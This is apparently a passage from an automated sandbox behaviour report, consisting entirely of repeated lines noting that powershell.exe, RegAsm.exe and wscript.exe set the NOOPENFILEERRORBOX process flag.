Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
